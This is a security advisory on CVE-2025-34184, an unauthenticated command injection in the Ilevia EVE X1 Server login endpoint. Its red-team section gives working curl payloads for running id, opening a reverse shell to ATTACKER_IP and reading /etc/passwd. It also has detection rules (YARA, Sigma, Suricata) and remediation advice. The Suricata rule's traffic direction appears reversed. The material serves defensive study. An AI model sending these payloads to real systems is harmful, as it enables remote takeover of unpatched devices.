CVE-2025-34184

Executive Summary

CVE-2025-34184 is a critical unauthenticated OS command injection vulnerability affecting the Ilevia EVE X1 Server, specifically version 4.7.18.0.eden and earlier. The flaw resides in the /ajax/php/login.php script, where the passwd HTTP POST parameter is unsafely passed to a system shell. An attacker can inject arbitrary operating system commands without authentication, leading to full system compromise, data exfiltration, or denial of service. The vulnerability is publicly known, with a CVSS score of 0.0 (likely a placeholder) but a CVSS vector indicating critical severity (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). No official patch is available, and no exploit code or Nuclei template has been published yet.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Can cause denial of service.

Threat Level: Critical. The combination of unauthenticated remote access and full system control makes this a top-priority vulnerability for any organization using the Ilevia EVE X1 Server.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78) in the login mechanism. The /ajax/php/login.php script likely uses a function like exec(), system(), or shell_exec() in PHP to process the passwd parameter. Instead of properly sanitizing or escaping the input, the script concatenates the user-supplied value directly into a shell command, such as:

$password = $_POST['passwd'];
$command = "echo $password | some_auth_check";
$output = shell_exec($command);

An attacker can inject command separators (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary system commands. For example, sending passwd=;id; would execute the id command on the server.

The lack of authentication means any network-accessible instance of the EVE X1 Server is vulnerable. The script is part of the AJAX login flow, which is typically exposed to the internet for remote management.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

<?php
$passwd = $_POST['passwd'];
$command = "echo $passwd | /usr/bin/auth_check";
$output = shell_exec($command);
echo $output;
?>

Patched Code (conceptual):

<?php
$passwd = $_POST['passwd'];
// Use escapeshellarg to prevent injection
$safe_passwd = escapeshellarg($passwd);
$command = "echo $safe_passwd | /usr/bin/auth_check";
$output = shell_exec($command);
echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
?>

The patched version uses escapeshellarg() to wrap the input in single quotes and escape any dangerous characters, preventing shell injection. Additionally, output is HTML-escaped to prevent XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

1. Deploy a vulnerable Ilevia EVE X1 Server (version 4.7.18.0.eden) in an isolated VM.
2. Ensure the /ajax/php/login.php endpoint is accessible via HTTP.

Exploitation Steps:

1. Reconnaissance: Identify the target server and confirm the endpoint:

   curl -X POST http://target/ajax/php/login.php -d "user=admin&passwd=test"
   

2. Command Injection: Inject a command to verify execution:

   curl -X POST http://target/ajax/php/login.php -d "user=admin&passwd=;id;"
   

   Expected response includes the output of id (e.g., uid=0(root) gid=0(root)).
3. Reverse Shell: Obtain a reverse shell:

   curl -X POST http://target/ajax/php/login.php -d "user=admin&passwd=;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;"
   

   On attacker machine: nc -lvnp 4444
4. Data Exfiltration: Dump sensitive files:

   curl -X POST http://target/ajax/php/login.php -d "user=admin&passwd=;cat /etc/passwd;"
   

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor HTTP POST requests to /ajax/php/login.php for unusual passwd parameters containing shell metacharacters (;, |, &, `, $()).
2. Analyze server logs for unexpected command execution (e.g., id, whoami, bash).
3. Deploy a WAF rule to block requests with shell metacharacters in the passwd field.
4. Harden the server by disabling unnecessary services and applying network segmentation.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /ajax/php/login.php with passwd containing ;, |, &&, `, $().
  • Outbound connections from the server to unusual IPs on ports like 4444, 1337, etc.
• File IOCs:
  • Unexpected files in /tmp/ (e.g., shell.sh, exploit).
  • Modified system binaries (e.g., /bin/bash replaced).
• Process IOCs:
  • Processes spawned by the web server user (e.g., www-data) running bash, nc, python, etc.
• Log IOCs:
  • Apache/Nginx access logs showing passwd=;id; or similar patterns.
  • System logs (/var/log/auth.log, /var/log/syslog) showing unexpected command execution.

Detection Engineering

YARA Rule

rule CVE_2025_34184_Ilevia_Command_Injection {
    meta:
        description = "Detects Ilevia EVE X1 command injection attempts in HTTP POST data"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-34184"
    strings:
        $injection1 = /passwd=.*[;&|`$()]/
        $injection2 = /passwd=.*\b(bash|sh|nc|python|perl|ruby)\b/
        $injection3 = /passwd=.*\b(exec|system|shell_exec|passthru)\b/
    condition:
        any of them
}

Sigma Rule

title: Ilevia EVE X1 Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /ajax/php/login.php with shell metacharacters in passwd parameter
author: Valters IT
date: 2025-04-17
references:
    - CVE-2025-34184
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /ajax/php/login.php
        cs-uri-query|contains: 
            - 'passwd=;'
            - 'passwd=|'
            - 'passwd=&'
            - 'passwd=`'
            - 'passwd=$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in passwords (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-34184 Ilevia EVE X1 Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/ajax/php/login.php"; http_uri; content:"passwd="; http_client_body; pcre:"/passwd=.*[;&|`$()]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the internet and untrusted networks.
2. Apply virtual patching using a WAF to block injection patterns.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Vendor patch: Await an official patch from Ilevia. If none is forthcoming, consider replacing the device.
• Code fix: If source code is available, implement input sanitization using escapeshellarg() or parameterized commands.
• Network segmentation: Place the EVE X1 Server behind a firewall with strict access controls.

Workaround:

• Disable the /ajax/php/login.php endpoint if not required.
• Use a reverse proxy to filter malicious requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert